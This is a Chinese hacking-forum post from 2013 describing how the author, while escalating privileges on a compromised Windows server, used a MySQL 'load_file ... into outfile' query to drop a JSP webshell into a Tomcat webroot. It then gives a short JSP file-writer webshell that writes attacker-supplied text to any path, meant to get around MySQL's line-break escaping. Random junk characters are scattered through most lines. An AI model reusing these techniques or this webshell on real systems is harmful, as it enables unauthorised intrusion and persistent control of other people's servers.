找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2912|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。% ?; j( \# F/ }* M! r+ U+ q$ B- W
  x# W9 J! o7 M' k1 z
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php& n; o4 [, |/ {$ l; ?
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
) Z# b" `3 |# B1 y提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
6 _3 {3 B1 @( \& Q: D" C1 show variables like '%plugin%';
" P- k' k5 c8 K后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
8 [4 A) a- Y9 }( l! o( ?/ H创建自定义函数似乎被拦截,一直失败。' N( ]. K9 m" u
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
$ Z0 X+ B6 c  P9 M! s+ ~8 C) {测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
# @% |6 x: n% z1 T+ q, R" A用mysql执行语句:' F! @' V/ h; Z4 Y, A, M4 u
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
( }- t7 V. `2 m2 k% n" Z$ k' n2 复制代码* j' z) p/ w! u3 _
后成功。
8 T, Y, B4 `! ]但是访问后得到如下提示:8 S7 [) g) Z/ k. N) p
​500页面
' ?8 I8 d0 S* ]6 ]3 s6 D: U
7 e! h$ D5 p  I% N! |  F: T/ A: M; G; m0 e
明显是MySQL的Win下版本自动添加转义符\n\r了
0 Z2 j! M0 O/ u3 v* b/ a' p这样导致程序运行的悲剧。! r3 v, t5 k1 p1 o8 H/ |$ [. K
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。* V5 G$ u! ~' `9 v2 m* u  U! O
最后弄了这么个小脚本:0 @4 Q0 b- a( ]% E
01 <%@ page language="java" pageEncoding="gbk"%>) w, M( `1 k' ]4 i% a) |
02 <jsp:directive.page import="java.io.File"/>  I0 b0 C* A  w- X1 Z5 S
03 <jsp:directive.page import="java.io.OutputStream"/>
( t: J7 V/ O5 f& O04 <jsp:directive.page import="java.io.FileOutputStream"/>9 N) C' o2 ?" H4 I  [+ V2 a' `" ]
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
3 H% v: Z* H6 G( a0 ?06 error www.2cto.com
' W- x& `7 \  o! \1 [07 <%}}if(i==0){%>" g  Z3 u4 A5 K% G# D& A* N+ L
08 ok9 E( H& O8 ]( Q6 W# R' y. V; a
09 <%}%>  H! ^" n7 z7 I6 W. u* q1 \, |
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">. x) V' F3 h- v9 E
就可以避免转义符让JSP的马儿运行500错误了。
. X  v3 h- a. i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表